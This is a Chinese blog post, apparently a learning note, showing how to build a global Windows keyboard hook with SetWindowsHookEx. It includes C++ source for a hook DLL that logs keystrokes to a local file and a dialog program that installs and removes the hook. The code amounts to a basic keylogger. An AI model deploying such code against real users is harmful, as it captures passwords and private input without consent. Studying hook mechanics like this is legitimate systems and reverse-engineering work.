Reverse|Windows消息钩子[键盘监控]

之前看书,看到一眼消息钩子,一直没实践,现在有空弄了下,
主要原理是利用windows自带SetWindowsHookEx API函数
HHOOK SetWindowsHookEx(
int idHook,//hook形式
HOOKPROC lpfn//hook过程
HINSTANCE hmod//钩子所属的dll句柄
DWORD dwThreadId//要钩取的线程ID 全局钩子则传入0
)
其主要工作原理为,Windows发生相关消息时,会将含有钩子过程的
DLL强制注入目标进程的内存空间中,并且执行DLL中的钩子过程。
可钩取的消息有多种,这里我们试验WH_KEYBOARD尝试钩取windows
的键盘消息,来实现一个简单的键盘记录器。
我开始想要使用控制台程序下钩,貌似不行,控制台没有消息队列的原因吗?
之后改用win32后可以正常使用了
其核心是存在钩子过程的dll编写,代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include #include #include "hook.cpp" #define _CRT_SECURE_NO_WARNINGS HINSTANCE hinstance; //dll实例 HHOOK hhook; //钩子实例 HANDLE hfile; FILE* pFile = NULL; BOOL APIENTRY DllMain( HMODULE hModule, DWORDul_reason_for_call, LPVOID lpReserved ) //dll加载入口点 { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH://dll加载后在当前目录下创建一个用于保存记录的文件 hfile = CreateFileA("sLaOvGe", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); hinstance = (HINSTANCE)hModule; CloseHandle(hfile); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }LRESULT CALLBACK KeyboardProc(int ncode, WPARAM wparam, LPARAM lparam)//钩子过程要按照这样的形式定义 { if (ncode >= 0) //nocde小于0时候约定需要交给下一个过程 { if(!(lparam&0x80000000))//案件释放时记录, if (wparam >= 48 && wparam <= 57 || wparam >= 65 || wparam <= 90)//键盘码处理字母和数字 { pFile = fopen("sLaOvGe", "a+"); char save = wparam; fwrite(&save, 1, 1, pFile); fclose(pFile); } } return CallNextHookEx(hhook, ncode, wparam, lparam); //交给下个钩子或程序 }void HookStart()//挂钩 { hhook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, (HINSTANCE)GetModuleHandleA("hook"), 0); }void HookStop()//脱钩 { if (hhook) { UnhookWindowsHookEx(hhook); hhook = NULL; } }

这段是钩子dll的主函数,导出函数声明在hook.cpp中
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#ifndef hook
extern "C" _declspec(dllimport) void HookStart();
extern "C" _declspec(dllimport) void HookStop();
#endif
在钩子过程中设计你想要拦截的键盘消息,这里我的数字范围是windows消息结构中wparam所携带的
表示字母与数字的键盘码,他们和ascii码相同,关于wparam更多信息可以查阅windows程序设计的相关资料
有一个点要提一下
windows的消息结构中的lparam对于不同消息有不同的定义,对于键盘消息它的结构如下
参考资料:windows程序设计(第五版)
Reverse|Windows消息钩子[键盘监控]
文章图片

32位按位标记,最高位表示转换状态,即现在将要发生的转换,如按下,或释放,
其他位还有很多控制内容,这里不多说,可以查到资料。我们的钩子过程
比较简单,释放时记录下当前释放的按键并把它输出到记录文件中即可。
下面就要实现挂钩程序了,代码如下
#include "stdafx.h" #include "dialog.h" #include #include"Resource.h" typedef void(*HOOK)(); char dbug[1024] = "\x00"; HMODULE mydll = NULL; HINSTANCE hdll = NULL; BOOL CALLBACK diaproc(HWND hdlg, UINT message, WPARAM, LPARAM lparam); int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, PSTR szCmdLine, int iCmdShow) { DialogBox(hinstance, MAKEINTRESOURCE(IDD_ABOUTBOX)/*资源名*/,NULL/*父窗口*/, diaproc); return 0; }BOOL CALLBACK diaproc(HWND hdlg,UINT message,WPARAM wparam,LPARAM lparam) //处理的第一条消息WM_INITDIALOG是对话框过程不处理时返回false否则true { HOOK sethook = NULL; HOOK unhook = NULL; mydll = GetModuleHandleA("hook.dll"); //动态链接hook.dll if (!mydll) { mydll = LoadLibraryA("hook.dll"); } sethook = (HOOK)GetProcAddress(mydll, "HookStart"); unhook = (HOOK)GetProcAddress(mydll, "HookStop"); switch (message) { case WM_COMMAND: switch (LOWORD(wparam)) { case ID_DLL: //挂钩 if (sethook) { MessageBoxA(hdlg, "hook ok!", "hook", 0); sethook(); } else { wsprintf(dbug, "%d", GetLastError()); MessageBoxA(hdlg, dbug, "hook", 0); } return TRUE; case IDC_UDLL: //脱钩 if (!unhook) { wsprintf(dbug, "%d%d", GetLastError(),unhook); MessageBoxA(hdlg, dbug, "hook", 0); return TRUE; } unhook(); return TRUE; case WM_DESTROY: PostQuitMessage(0); return TRUE; } } return FALSE; }

也比较简单,调用了一个windows对话框过程来让我们挂钩。
IDC_UDLL,和ID_DLL分别是我们的脱钩挂钩按键,他有WM_COMMAND
消息的wparam携带,我们的窗口过程负责对他处理,挂钩与脱钩
最后大概就是这个样子。
Reverse|Windows消息钩子[键盘监控]
文章图片

让我们的hook.dll和钩子程序在同一个目录下,尝试运行
Reverse|Windows消息钩子[键盘监控]
文章图片

Reverse|Windows消息钩子[键盘监控]
文章图片

Reverse|Windows消息钩子[键盘监控]
文章图片

Reverse|Windows消息钩子[键盘监控]
文章图片

Reverse|Windows消息钩子[键盘监控]
文章图片


好了运行有效果,至于一些不可见字符是因为我有输入法启动了,按了几个转换
按键,我的编译环境时vs2017所以有些c函数如fopen会被认为不安全的函数,
只要在各个文件中加入源码开头宏定义即可通过。
至于针对某个线程挂钩,我觉得应该需要手动dll注入到进程空间内。这里全局钩子
就不用这么麻烦了。
【Reverse|Windows消息钩子[键盘监控]】em。。。还要再弄下API钩取,这周好忙

    推荐阅读